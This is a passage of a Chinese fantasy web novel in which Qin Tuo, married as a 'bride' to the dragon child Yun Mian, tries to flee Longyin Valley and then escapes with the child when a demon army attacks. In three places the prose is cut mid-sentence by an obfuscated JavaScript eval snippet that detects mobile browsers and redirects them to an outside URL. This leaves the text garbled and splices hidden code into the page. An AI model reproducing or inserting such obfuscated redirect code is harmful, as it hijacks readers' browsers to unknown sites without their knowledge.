满屋道喜声中,云眠捋了捋颊边那短了一截的头发,嘴巴一瘪,泪珠儿又滚出了眼眶。 终于完成了合卺礼,前面花厅还有一群女客需人作陪,云夫人一直守着云眠也不行,便留下家仆阿福,自己去花厅。 “娘你去哪儿?我也去。”云眠见她要走,慌忙跟上去。 “眠儿乖,你就留在这儿,娘很快就回。”云夫人朝阿福使了个人眼色,“去把二将军拿来。” 蝈蝈笼子一到,云眠立刻被吸引,嘴里说着要跟娘一起去,人已凑到笼前,鼻尖都快贴上竹篾。 云夫人趁机抽身,出门前瞥了眼,见云眠正撅着屁股逗弄蝈蝈,秦拓则安静地坐在床畔,眼睫低垂,姿势看着有些拘谨。 到底只是个孩子,刚来时浑身长刺,想来只是因为不安。现在熟了一些,便卸下防备,显出原本软和的性子。 云夫人这样想着,看向秦拓的目光也就更加怜惜。 她前脚刚走,后脚厨房就来人唤走了阿福,屋内只剩下了云眠和秦拓。 云眠逗弄了会儿蝈蝈,忽觉四周安静得过分,一回头,发现人都走光了,房门也已关上,慌得喊了一声福伯。 “小少爷,福伯有事离开了,您和少奶奶要在屋子里坐上一个时辰。”门外传来家仆的声音。 云眠拎起蝈蝈笼子,飞快地走向门口,踮起脚去拉门栓,却发现房门打不开。 “你们把门开了呀,我要出去。”云眠拍着门。 门外传来家仆的声音:“夫人吩咐了,您如果要出屋子,就带您去先生那儿背书。” 云眠顿时没了声音,抬起的手也停在了半空。 “您别怕,小的就在门外候着。”家仆又道。 相比背书,他还是更愿意留在屋内,便站在了门旁。 秦拓见屋内没有其他人,也就不再装出无害状,起身走到桌旁,在果盘里拨来拨去,最后挑出一串葡萄。 他吃着葡萄,漫不经心地踱步,摸摸墙上嵌着的夜明珠,拿起架上金灿灿的脸盆,端详片刻后,便在云眠的注视下,在盆沿上咬了一口。 云眠看得倒抽了口气,小声制止:“你不要吃脸盆啊。” 秦拓发现那脸盆并非真金,舔了舔齿尖,兴致缺缺地将它丢回原处。 他在屋内走了一圈,站在门旁的小孩眼珠子跟着他转,他却没有扫对方一眼。 最后回床上半躺着,懒洋洋地闭着眼,琢磨着接下来的计划。 酒席差不多该散了,现在谷里人流纷杂,正是离开的好时机…… 云眠提着蝈蝈笼子,见秦拓没有再露出凶相,紧绷的神经渐渐放松,也不再那么害怕。 他斜靠墙壁,手指抠着门框上的木刺,眼睛频频看向床上的少年。 他想和秦拓说话,但拉不下脸先开口,便希望秦拓也能看他,在对视的瞬间接受到暗示,再主动同他说话。 可他将门框抠得嚓嚓响,脚尖一下下轻踢着房门,秦拓只双手交叠枕在脑后,始终不看他一眼。 云眠索然无味地站了片刻,终于还是先开了口。 “以后你就是我的娘子,我是你的为夫了。”他声若蚊蚋地道。 既已顺利开了口,云眠的话就像开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299264|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闸,开始滔滔不绝。 “以后只要你听我的话,我就会对你好。我给你吃好吃的果子,还有糕。你可以陪我玩,一起吃奶娘的奶,只要你乖乖的,我也不会打你……” 秦拓躺在床上一动不动,唯有眉心处几不可察地跳了两下。 “娘子,你会作诗吗?我爹爹会做诗。” “娘子,你会吟诗吗?你懂不懂吟?啊?你懂不懂?” “娘子,你会玩草蝈蝈吗?石人打仗呢?蟀婆婆骑大马呢?” “娘子,娘子,娘子……” 秦拓终于忍无可忍,睁开眼,隐含着怒气:“不会。滚。” 云眠大失所望,撇了撇嘴:“你什么都不会,那还怎么做我娘子?你快去学吧,学会了陪我玩,我就不休你。” 秦拓缓缓侧头,看向站在床边的幼童。目光在那顶可笑的假发上停留了半瞬,又挪到支棱在假发侧的两只小角上。 “你再聒噪,我就把你头上那两个饽饽割掉。” 他声音轻得有些飘忽,却透出威胁意味,目光也满是寒意。云眠顿时想起这个人其实挺凶,有些瑟缩地往后退了半步:“这不是饽饽,这,这是我的角。” “我管他是饽饽还是什么,只要你再出声,我就将它割掉。”秦拓眯起眼睛。 云眠像是被吓住了,果然没有出声。但秦拓还没来得及松口气,便见他闭紧双眼,慢慢咧开了嘴。 “不准哭!”秦拓不耐地喝道。 “呜……”云眠低声呜咽,不停抽着气。 炎煌山的雀娃一个比一个皮实,那刚学走路的,就算摔得满脸青紫,哼哼两声就算了。秦拓何曾见过这般娇气的小东西?眼见云眠抽抽搭搭,他既觉得不可思议,又很是烦躁。 他原本不想搭理,却听见院墙外传来云夫人和丫鬟的对话声。他倒是不怵云夫人,只是不愿她把这事捅到云飞翼那儿去。 那老长虫护犊子得很,若是知道小长虫被他吓哭了,指不定又要让他吃些苦头。 “别哭了,闭嘴!”秦拓低喝。 但云眠也听见了云夫人的声音,顿时得了依仗,哭声瞬间拔高,还恨恨地道:“我,我要哭,我要给娘告你,我说,我说你要割我的角。我还要给爹告,让他把你休了,我不做你的为夫。” 秦拓脸色阴沉下来,眼见云夫人就要进门,而云眠还在控诉,他迅速起身,抓起桌上的茶盏,将茶杯盖塞进云眠手里,反手将茶水泼在自己衣襟上,再扬起手掷落。 茶盏砸在床前地面上,碎片四溅,发出砰一声脆响。 云夫人推门进来,先看见地上的青瓷碎片,继而扫过秦拓湿透的前襟和云眠手中的杯盖,眉头渐渐蹙起。 “眠儿,你对秦拓哥哥做了什么?你泼他水?还打人了?”她声音透出几分严厉。 云眠被这突如其来的变故惊得忘了哭泣,只拿着杯盖,转头呆呆看着她。 “我做了什么?我,我,好像,好像……”云眠反应过来,伸手指着秦拓告状,“他在吃脸盆,我不让他吃,他就要割我的饽饽。” 秦拓垂着头坐在床边,胸前茶水淋漓,搁在膝盖上的双拳紧握,却抿着唇,一脸隐忍。 “哇……娘我没有打他,是他自己泼自己水,自己砸杯子,哇……” 丫鬟们迅速将地面清扫干净,云夫人再抱着云眠离开。房门关上,屋子里没有了其他人,秦拓听那委屈的哇哇大哭声越来越远,这才慢悠悠地站起身,伸了个长长的懒腰。 他脱掉湿衣,换上家仆送进来的象牙白锦缎衣衫,踱到窗边,悄悄往外看。 丝竹声渐渐停歇,守在门外的人也撤了,想是前院的宴席已近尾声。 他心头一阵狂跳,虽然有些诧异竟没人守着自己,但也知道这是离开的机会,便立即从床下摸出藏好的金球,又取下帐钩,用它撬出墙上的那颗夜明珠,一并塞进怀里。 房门轻轻开启,闪出来一道象牙白身影,再飞快地融入夜色中。 7. 第 7 章 秦拓贴着墙根疾行,每遇人影便闪进竹林。他看着远方那片楼阁台榭,不由在心里暗叹,要养护这样大片宅邸,得需要多大的花销? 若是不用当那什么儿媳,而且要去寻十五姨,这龙隐谷倒是个享福的好去处。 此时宴席虽散,但谷口方向车马喧嚣,秦拓便没有从谷口离开,而是选择翻越左边的那座山。 他仰望面前的陡峭山峰,担心使用灵力会被云飞翼察觉,便不敢化形为朱雀,只系紧腰带,再抓着岩上老藤向上攀。 山壁上的风呼呼刮,好几次将他吹得打晃。好在他自幼长在炎煌山,爬山就同喝水似的简单,此时那灵活身形不似朱雀,更似猿猴,很快便攀至山顶。 山顶是一片茂密树林,月光从树梢枝头间斑驳落下,倒也不算黑暗。但秦拓却站在原地没动,伸手在怀里一阵摸索,将那颗夜明珠拿了出来。 炎煌山的朱雀,个个到了夜里便视物不清,出门必带火把,在家必点油灯,据说这叫雀盲。但灯油金贵,除非来客才会用,所以日头一落山,家家就关门歇息,整座炎煌山,到了夜里便如同一座坟园。 秦拓掏出夜明珠,温润光亮铺染开。他赶紧往后走了几步,确定山下的人瞧不见,这才放心地借着珠光前行。 他下山时速度极快,转眼便到了山脚,正是他被花轿接来时的那条路。 身后没人追来,也没什么异常动静,这一切顺利得简直不可思议。 他掏出怀里的金球,放在唇边响亮地亲了一下。 老长虫,小爷我做了你一天的儿媳,这点酬金可不算过分。 秦拓收好金球,顺着大道往前飞奔。他奔跑得如同一道迅捷光影,耳边风声作响,衣袍鼓动,满腔是脱离樊笼的快意,只想对着圆月一声长啸。 前方出现三座黑黢黢的山峰,起伏轮廓宛如三条巨龙。他来时也路过这里,知道这便是龙族领地的边界。 他心头刚一喜,脚步却突然一滞,身体收不住冲势,踉跄着往前冲出几丈远,再重重扑倒在地。 剧痛如潮水般袭来,身体里像是被万虫啃咬。他发出一声痛苦的闷哼,咬紧牙关,在山路上痛苦翻滚。 但当他后背撞上一块山岩时,那剧痛戛然而止,如同汹涌潮水骤然褪去,让他的意识也有着刹那的空白。 他仰面倒在地上,大口喘息着望向夜空,四肢仍因余痛而微微抽搐。 这是怎么了? 他脑中琢磨着,但身体已不再疼痛,便撑着地慢慢站起身。 可当他试探着往前迈出几步时,那股剧痛再度袭来,如利刃贯穿全身。 他立即往左侧大石翻滚,疼痛竟又一次诡异地消失了。 秦拓顿时明白,难怪没人守着自己,跑掉也没人追赶,原来是云飞翼在出口布下了结界。 他站在路旁,伸手抹了把脸,又看向身旁的山峰。 兴许云飞翼只在主要路口布下了结界,这山上未必就处处设防。 他没有耽搁时间,立即走向左边,伸手去抓壁上的爬藤。 但指尖刚触碰到岩壁,便突然顿住。 这谷里不知何时起了雾气,笼住了夜明珠的光晕,让他视野越来越模糊,甚至看不清面前的山壁,同时也嗅到了一股腥浊的气息。 魔瘴! 秦拓迅速反应过来。 虽然灵界经常会有魔气,但那都很稀薄,这么浓重的魔瘴还是头一回见。 他察觉到了不妙,但还未细想,便听见远方传来隆隆声响,如同闷雷滚过天际,脚下地面也跟着震颤,山谷两侧的碎石簌簌往下滚。 他赶紧躲去旁边大石后,刚隐好身形,那隆隆声便已迅速接近,化作千军万马的铁蹄震响。 秦拓微微偏头,从石缝间窥见数名黑甲骑兵从身旁冲过。那些战马通体漆黑,披着玄铁重甲,马背上的骑士也全身覆甲,面罩下唯余两点鬼火般的幽蓝眸光。 天空中有鸟群飞过,宽大的翅翼掀起腥风,卷起地面砂石,打得他脸庞生疼。他努力辨认,隐约可见那鸟背上还立着人形轮廓。 族人经常谈论魔界的事,秦拓也听了不少,认出这是魔界的罗刹鸟和幽冥驹。 他不敢再看,猛地缩回巨石之后,后背瞬间沁出一层冷汗。 这是灵界,有无上神宫镇守着进出灵界的关隘,魔军怎么可能到达这里? 秦拓背抵着岩石,心知这支魔军必是冲着龙隐谷去的,他正琢磨着要不要去报信,便听轰一声巨响,龙隐谷内腾起耀眼的光。 他抬起头,看见弧形的金色结界屏障在夜空中铺展,将谷里那座府邸的所在区域罩于其中。 云飞翼已经察觉了。 秦拓长舒一口气。 眼见一场大战就要来临,他浑身血液都在沸腾,心脏快要跳出胸腔,逃走的念头也被抛到九霄云外。 待到魔军尽数从身旁通过,他也朝着龙隐谷方向奔跑,脚步越来越快,接着周身腾起烈焰,一只毛羽火红的朱雀振翅而出。 朱雀双翼猛振,身形骤然拔高,飞至峰顶,再绕开魔军所在位置,从侧峰方向迅速接近战场。 ※ “结阵!” 龙隐谷府邸被法阵灵光映照得如同白昼,水族们在谷口集结,云飞翼玄衣猎猎,与三位水族主将各布下一阵眼。 “家主,巽位还缺一人。” “没事,我补上就是。” 云飞翼话音刚落,一道月白流光倏然而至,落在那空缺的巽位阵眼之上。云夫人素手结印,广袖翻飞,已然立于云飞翼身侧。 云飞翼侧头,眼眸中映出云夫人的清丽侧颜:“夫人,这里不需要你,你快带着眠儿走。” 云夫人摇头:“魔物既已侵入我们灵界,那么守在关隘处的无上神宫应该已经沦陷了,来的必定是夜谶。妾身现在不能走。” “夜谶来了又如何?没什么大碍。你先走,我晚点会去寻你。”云飞翼低喝。 云夫人嘴里说着拒绝的话,语气却依旧温婉:“此阵缺一人都不行,妾身这次不能听从夫君。” 魔军已冲到了法阵结界外,十余只罗刹鸟收势不及,一头撞在光幕上。金色烈焰迸发,那些魔鸟瞬间化为飞灰,簌簌飘散。 整支魔军停下前进,黑压压的阵列悬浮在结界之外。 在这片黑暗的最前方,站着一名身穿黑袍的人。他脚踏罗刹鸟,缓缓抬手,一道黑光从掌心喷出,面前的结界便如被墨汁浸染的纸,迅速黯淡出一片缺口。 秦拓离那结界也已很近,他怕再靠近会有暴露之危,便轻敛羽翼,落在府邸临近的山头上,再化为人形,隐入树丛中。 现在天色大亮,他目力便极好,能看见水族士兵们也在谷口列阵,虾兵持戟,蟹将执锤,蚌女手持分水刺,个个严阵以待。 但光幕的另一边,浓重魔气翻涌,将整支魔军笼罩其中,黑压压的一片望不到头。 秦拓的热血沸腾尽数化作了寒意。 这人数差距未免太大了。 他确实渴望看一场灵魔大战,也对多年前斩杀魔君夜阑的那场战役充满向往,但他想看的是灵族怎么将魔军斩瓜切菜,而非眼前这种情况。 站在水族士兵之前的云飞翼突然扬手,几道燃烧的符文冲上天空,骤然炸开,化作漫天光雨朝四面八方飞射而去,转瞬便消失在远方天际。 结界外,那名站在罗刹鸟背上的黑袍人一声冷笑,声音虽轻,却能传入每个人的耳中。 “云家主,你以为发送传讯符有用吗?此刻各灵族都已自顾不暇,你还指望能引来援军?” 秦拓朝黑袍人看去,从这个角度,能看见他露出的半张侧脸。那人看着很是年轻,但皮肤苍白,透出几分不似活人的阴冷。 “夜谶,你竟然敢闯进灵界,进犯我龙族云家,今日便叫尔等魔孽有来无回!”云飞翼厉声怒喝。 夜谶! 秦拓心头剧跳,这人竟然是魔界现任君主夜谶。 “有来无回?”夜谶闭上眼深吸一口气,“好稀薄的灵力,就凭这点灵力,云家主真以为能挡住魔军?”接着又笑了笑,“本座并不想为难龙族,只要云家主交出龙魂之核,便即刻退兵。” “放肆!龙族至宝,岂容魔孽觊觎!” 夜空中骤然炸开一声龙啸,震得秦拓耳朵嗡嗡作响。一条金龙冲天而起,鳞甲流转着耀眼的金辉。四尾体型巨大的青鲤紧随其后,其中一条已具龙相,鱼鳍边缘生着龙纹,尾部也生出了龙爪。 金龙浮空,四尾青鲤分别镇守东南西北四方阵眼,五道灵光在夜空中交织成网。 结界外魔云翻涌,罗刹鸟如潮水般自结界缺口涌入。金龙迎了上去,龙尾横扫间,十余只罗刹鸟当空爆裂,黑血如雨泼洒,鸟上的魔众也惨叫着化成黑雾。 法阵启动,那尾龙相青鲤口中喷吐寒霜,将三只魔鸟冻成冰块坠落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299265|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。另外三尾青鲤也各展所长,喷毒雾引雷火。金色阵纹在空中明灭闪烁,精准击中魔鸟,天幕上接连爆开团团黑雾。 金龙骁勇,青鲤凌厉,秦拓站在山顶仰头看着,想到自己不知何时才会有这样的本事,既羡慕,又觉荡气回肠,心驰神往。 可当他目光扫到结界外时,心头骤然一紧。 那名叫夜谶的黑袍人就悬浮在结界外,只不断催动黑光侵蚀结界,灼出一个又一个的缺口。 魔军虽不断被击杀,但结界缺口越来越多,魔军便如决堤黑潮般汹涌而入。 水族军结成千浪阵,长戟刺向俯冲的魔鸟,利爪与寒刃相撞,迸出刺耳的金铁之声。 一只罗刹鸟尖鸣着抓向一名蟹兵,蟹兵甲壳爆裂的瞬间,双刀也砍断鸟头。鸟尸尚未坠落,蚌女的分水刺已向上刺出,贯穿鸟身上那名魔众的咽喉。 金龙冲出结界,与魔君夜谶战作一团。龙息与魔光相撞,爆发出震耳欲聋的轰鸣。 秦拓听见头顶传来打斗声,他抬起头,看见数十名魔众骑着罗刹鸟,将那尾龙相青鲤团团围住。 青鲤在围攻中翻腾闪转,口中不断喷吐凛冽寒霜。秦拓本能地缩进树后,见一只罗刹鸟正悄然绕到青鲤背后,利爪寒光闪烁,一时情急,忍不住出声提醒:“小心!” 青鲤闻声摆尾,数道冰刺激射而出,那只罗刹鸟被击杀,周遭围攻的魔众也被尽数冰封。 青鲤垂首看向树后,四目相对的刹那,秦拓认出那双温润的眼睛属于云夫人。 云夫人也看见了他,却未做停留,只一个俯冲,扎向山峰之下的云家府邸。 秦拓刚松了口气,便见几只罗刹鸟破空而来。他正欲躲避,一道璀璨金光横扫而过,那几只鸟瞬间化为灰烬。 他看向金光来源处,发现是正在和夜谶作战的金龙。 秦拓不知道云飞翼是不是发现了自己,正在愣怔,便见龙相青鲤去而复返,再次出现在山峰边缘,脊背上还趴着一名身着红袍的幼童。 青鲤杀掉追来的几名魔众,冲入树林,青光流转间,化为云夫人,怀里抱着云眠。 云眠躺在她怀里,手脚软软垂着,双目紧闭,似是昏迷了一般。 “秦拓,带他走。”云夫人哑着声音道。 秦拓站在树下没有吭声,双唇抿成一条直线,眼神晦暗不明。 云夫人往前走了两步,伸手将云眠朝他递出,手臂在月光下微微发抖:“你以为是结界把你困在这儿的?不,是你与眠儿之间有着灵契制约。如果你离他超过十里,体内便会剧痛难忍,而这痛楚来自魂魄深处,没有术法可以缓解。” 秦拓顿时明白过来,刚才无人追自己,并不是云飞翼未能察觉,而是他知道自己根本无法逃离。 秦拓在脑中快速权衡。 就算云飞翼强悍,但魔军人数太多,情况似乎不太妙,他的确得尽快离开这里。 云夫人又道:“别担心,你只需带着眠儿藏得远远的,待到击退魔军,我和夫君自然会去寻你们。” 秦拓虽恼恨他们给自己强加灵契,但现在情势危急,也只能伸出手,准备接孩子。 云夫人看着怀中昏睡的幼子,指尖轻轻拨开他额前碎发,再俯下头,在他紧闭的眼上亲了亲。 秦拓见她眼中泪光闪动,想到她待自己还算不错,忍不住道:“夫人,打得过就打,打不过就逃,只要能保住性命,脸面什么的都不打紧。” “好,我知道。”云夫人纵满脸不舍,也终是将怀里小孩递了出去。 待秦拓接过云眠后,她又突然扣住他的手腕,力道大得惊人,声音嘶哑地道:“秦拓,记住,你和眠儿魂魄相连,他要是出了事,你也活不成。” 金龙与夜谶缠斗的身影已经逼近山顶,金光与黑芒的每一次碰撞都引发空气震颤,狂暴气浪将树木拦腰折断。 “快走!”云夫人推了他一把,声音急促,“暂且别使用灵力,待到远了再说。” 秦拓没有再耽搁,低声说了句夫人保重,便抱着云眠,转身冲入树林。 身后传来一声清啸,青光暴涨间,一尾青鲤腾空而起,迎向那些追来的罗刹鸟。 秦拓不敢使用灵力,便没有化形,更不敢下山,唯恐在道路上会被魔军发现,便只抱着云眠在林间飞奔。 耳边风声呼啸,树枝抽在脸上火辣辣地疼,好在天上有着法阵金光,让他能看清脚下盘根错节的树根。 8. 第 8 章 天上不时有罗刹鸟飞过,秦拓抱着云眠,丝毫不敢放慢脚步,一口气翻过了几座山头。 云眠躺在他臂弯里,始终未醒。他满怀怨气地一边跑,一边喘着粗气低声道:“醒醒,喂,你快醒醒。” 终于冲出了法阵范围,四周的光线暗了下来,那些厮杀声也变得遥远。他这才踉跄着扑向一棵老树,背靠着树干缓缓滑坐在地。 秦拓的胸膛剧烈起伏,汗水顺着眉骨滑落,蛰得眼睛生疼。他便拿起怀中小孩软绵绵的手臂,用那衣袖胡乱抹脸上的汗。 他仰头望向远方天空,见那处战况依旧激烈。结界屏障已四处破洞,一金一黑两道光,正在半空缠斗不休。 他觉得只要其他灵族赶来支援,包括无上神宫,那么再灭一次魔君也不在话下。但已过去了这么久,半个援军的影子都还没见着。 他又看向怀里的云眠,有些烦躁地抓了抓头发。 到了这时,他才意识到一个问题,方才太过仓促,云夫人只让他带着云眠走,说击退魔军后会去接他们。 魔军都已经攻入灵界,击退没那么快,可她连个碰头的地点都没说清楚,到时候要去哪里接人? 眼下这情形,也只能先带着小长虫回炎煌山,等他们打完后,应该首先会去炎煌山找人。 虽说已发誓不与朱雀族往来,但只要不进村子,在炎煌山下候着云夫人,便算不得违背誓言。 到时候再想个法子,让云飞翼解除他和云眠的灵契,便可去寻十五姨。 # 龙隐谷内战况激烈,几尾青鲤虽已负伤,却仍顽强维持着法阵。云飞翼也不断撒出龙息,补充水族将士们的灵力,竟硬生生挡住了魔军的攻势。 金龙挥击龙爪,每一击都带着万钧之势,金色龙鳞在魔气里依旧熠熠生辉。 夜谶渐渐处于下风,驾着罗刹鸟左右闪躲,还是被一束金光打中胸口,喷出了一口血。 “夜谶,今日便是你的死期!” 云飞翼猛然凝聚全身灵力,龙首高昂,龙身上金芒暴涨,映亮了夜谶那张愈加苍白的脸。 金光最盛之时,夜谶却双手一翻,一盾一剑凭空出现在手中。 那盾色泽玄黑,形若龟甲,面上布着一层寒冥。那柄剑通体流转着银光,半空闪过一道银虎虚影。 “天罡之刃,玄冥之盾!”云飞翼瞳孔骤缩,“你把他们两族怎么了?” “自然是先屠白虎,再斩玄武。”夜谶笑声低哑,“最后一个,才轮到你这条金龙。”接着又沉下声音,“云飞翼,当年灵界各族围攻我叔父时,可曾想过有今天?” 云飞翼一声怒啸,龙息喷薄而出,凝作一道金色光柱,携崩山之势击向夜谶。 夜谶却不闪不避,举盾挡于身前。那龟甲盾面上亮起符文,他身前顿时出现一个巨大的黑色漩涡,将那扑来的蓬勃龙息尽数吸收。 天罡之刃同时飞出,直取金龙脊骨要害。 云飞翼试图闪避,但夜谶魔气骤然暴涨,滔天魔气化作漆黑锁链,封住了云飞翼的所有去路。 龙相青鲤看见了这一幕,心神俱裂。她正被一群魔围攻,一把长戟趁机刺来,青色鳞片上顿时涌出鲜血。 铮一声锐响,银剑刺入金龙背脊,龙息溃散,金鳞破碎。 云飞翼缓缓转头,看向妻子,龙目里只有温柔和愧疚。他动了动唇,似要说什么,但天罡之刃在半空剑锋一转,再次朝他心口刺来。 # 秦拓抱着云眠坐在树下,休息一阵后,正打算继续赶路,突然神情紧张,倏地站起身。 远方天空上,覆盖在半空的法阵迅速暗淡,其中三个方向的阵眼已消失了光亮。而金龙在黑气中翻腾,伴着一声愤怒的龙吟,庞大的身躯从空中直坠而下。 金龙坠落的瞬间,法阵彻底消散,所有光亮也跟着消失。 林间变得一片黑暗,秦拓手足冰凉地站在原地,只听见那些罗刹鸟发出刺耳的鸣叫,魔众也在欢呼嘶吼,其间夹杂着水族的惨叫。 他知道这一仗会很艰难,却没想到会是这样。 虽然他被强行送来龙族,心里对云飞翼既畏且憎,却也知道龙族是灵界第一大族,云飞翼也是灵界的支撑,地位仅次于无上神宫那位灵尊大人。 可纵横灵界数百年的龙族家主,竟然就这样陨落。 借着微弱天光,他看见一群巨鸟冲上天空,猛地回过神,抱着云眠往前行。 他跌跌撞撞,一路踉跄,枯枝划破皮肤也浑然不觉,脑中只反复念着两个字,糟了,糟了…… 就在他即将走出这片密林时,身后突然传来翅膀拍打的声音,缓慢而危险地朝这边靠近。 正好身旁有一块大石,他便打算躲进那石头缝隙里。 石缝不宽,仅容一人,抱着云眠肯定没办法。情急之下,他便将云眠放在地上,自己钻进了岩缝。 月光斑驳洒落林间,小孩躺在他脚边的枯枝上,小小的身形一动不动,纤长的睫毛在脸上投下两排阴影。 秦拓抬头,透过枝叶缝隙,隐约看见数只罗刹鸟。它们飞得很低,每只背上都负着一名魔众,像是正在搜寻这片区域。 他又看向云眠,就算他夜视不佳,也觉得那身红袍很惹眼。 耳边已能听见魔众的对话声,他赶紧蹲下,抓起大捧的枯枝树叶,胡乱盖在云眠身上,将那颗脑袋也埋进树叶间。 数只罗刹鸟飞抵上空,巨大的翼翅掀起阵阵腥风,将林间枝叶卷得乱晃。 秦拓屏住呼吸站在岩缝里,看着接二连三的罗刹鸟阴影掠过,浑身紧绷,随时准备着化作朱雀逃走。 好在头顶的魔并没留意下方,但最后一只罗刹鸟刚飞过,秦拓还没来得及松口气,便听见身前发出窸窣响动。 一只白嫩的小手从枯叶中探出,在被落叶覆盖的小包上胡乱拂了拂。随着叶片滑落,那小包下显出小孩的脸,鼻翼急促翕动,眉头紧蹙,皱着脸张着嘴,像是要打喷嚏。 不好!居然在这时候醒了! 秦拓猛地钻出石缝,一把捂住了小孩的嘴。 小孩鼻息咻咻,带着坚持要打喷嚏的颤动,他的手赶紧上移半寸,连着鼻子一起捂住。 云眠睁开了眼,雾蒙蒙的眼珠子左右张望,视线落在秦拓脸上。 他的眼里满是茫然,似是感觉到呼吸不畅,下意识去掰覆住口鼻的手,开始慌乱地挣扎,两腿胡乱踢蹬。 秦拓立即用另一只手箍住他身体,左腿膝盖压住他的腿,俯身在他耳边咬牙低喝:“别动!想死吗?” 小孩挣扎得更凶,甚至张嘴想要咬他的手。他手疾眼快地将那嘴也捏住。 “别动,我们被抓住就会死。” “夜谶来了。” “魔来了。” “罗刹婆婆来了。” 他一连数句吓唬,但云眠听见罗刹婆婆四个字,不但没有安静,反而挣扎得更凶。 远处又传来了振翅声,另一群罗刹鸟正飞来。秦拓怀疑这些魔物在搜寻他们,却又没法撂下云眠自己逃。 情况紧急,他心知靠吓唬不行,便将声音放得既轻又柔和:“能看见我吗?认出我了吗?我是秦拓,你的新媳妇秦拓。你别慌,我俩是两口子,亲两口子,我不会害你。” 云眠果然慢慢停下挣扎,只用那双湿漉漉的眼睛盯着他。 秦拓继续道:“罗刹婆婆饿得慌,正在到处找小龙,抓住一条就嗦一条。你要想不被她发现,就躺着别动,也别出声,明白吗?” 云眠虽然还被他捏着下巴,也轻轻点了下头。 秦拓试探地松手,见他果然不动不做声,只有睫毛扑簌簌颤,终于松了口气。 “我得把你藏严实些,别让罗刹婆婆发现了。”秦拓迅速捧起树叶,将人埋进落叶堆里,“你瞧不见也不打紧,我就在旁边,千万别动。” 他将云眠盖好,重新退回岩缝,紧盯着远方那逐渐逼近的罗刹鸟群。 “娘子,娘子?”落叶堆下传出云眠细若蚊蚋的声音。 秦拓屏息不答。 “娘子。”云眠又唤了一声。 “别出声。”秦拓从牙缝里挤出警告,“想被罗刹婆婆抓走吗?” 落叶堆安静了一瞬,随即传出抽气声:“我不想说话,可是叶子在痒痒我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299266|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻子,我想……哈,哈……” 秦拓听见云眠发出要打喷嚏的哈气声,心里暗骂一声,抄起手边的树枝,朝着那落叶堆上方挑去。 树枝一滞,戳到了云眠脸颊上。 “哎哟。” 秦拓迅速将他脸上的树叶拨开。 云眠快速眨着眼睛,直到那树枝离开自己的脸,才惊惧地小声道:“娘子,我不想在这儿了,我娘呢?我想回家了。” 真是要命。 秦拓只得捏着嗓子,用手蒙着嘴,制造出远远近近的飘忽声音。 “我好像听到了小龙在说话……” 落叶堆瞬间静止。 罗刹鸟群到达,从头顶缓缓飞过,巨大的翅翼掀起腥风。秦拓生怕云眠突然出声,好在小孩也知道厉害,只盯着上空掠过的黑影,连呼吸都放得极轻。 待到鸟群飞过,秦拓小心地钻出石缝。他目光迅速扫过四周,嘴里道:“起来,我们走。” 地上的落叶堆簌簌作响,云眠猛地探出脑袋,顶着一头枯叶问道:“罗刹婆婆呢?” “她去前面了,指不定什么时候就折回来。” 云眠慌忙翻起身:“那你快带我回家,我要找爹娘。” “你爹娘没在家,他们去了炎煌山,走的是另一条道,让我带着你去找他们。”秦拓面不改色地扯谎。 “炎煌山是哪儿啊?” “我家。” “去你家做什么啊?” 秦拓被这接二连三的问题搞得心烦,只一边在黑暗中辨认方向,一边道:“你和我成了亲,他们不得去拜会亲家?” 他琢磨着若这小东西再出声,就找根布带堵了他的嘴。不想小孩却安静下来,只眨了眨眼,忽地朝他张开双臂:“那走吧。” 秦拓转身,摸索着前行,走出两三步,却发现云眠没有跟上。 他眯起眼,望向黑暗中的小身影:“你在磨蹭什么?” “你都没抱我。”云眠还伸着胳膊,软糯的声音里带着谴责。 秦拓咬紧了后槽牙。 他一直都不喜欢这种幼崽,就像炎煌山那一窝接一窝的雏鸟,也不管爹妈有没有吃的,只张着嫩黄的喙,理直气壮地索要。 “抱?”秦拓冷笑,“我抱着你跑了几个山头,现在腿肚子还在抽筋。我可不是你奶妈子,不会伺候你,要走就快点,我可不会等你。” 他转身迈步,微微侧头,余光瞥见云眠在原地僵了片刻,还是垂下张开的胳膊,迈着短腿跟了上来。 “你不是我奶妈子,可你是我娘子啊,娘子不就要伺候夫君吗?” 他听见云眠在小声嘟囔,太阳穴跳了跳。 树林里虽有隐隐光线,但秦拓却什么都看不清,尽管走得很小心,还是踢上了一块凸起的石头,踉跄两步,扶着树才没有摔倒。 云眠凑到他身旁,歪着脑袋打量那块石头,又仰起脸瞅他。秦拓不待他开口,一把扣住他的肩膀,粗鲁地将人拧了个转:“你带路,我跟着你走。” “哎?” “哎什么哎?我眼睛受伤了,看不清。” 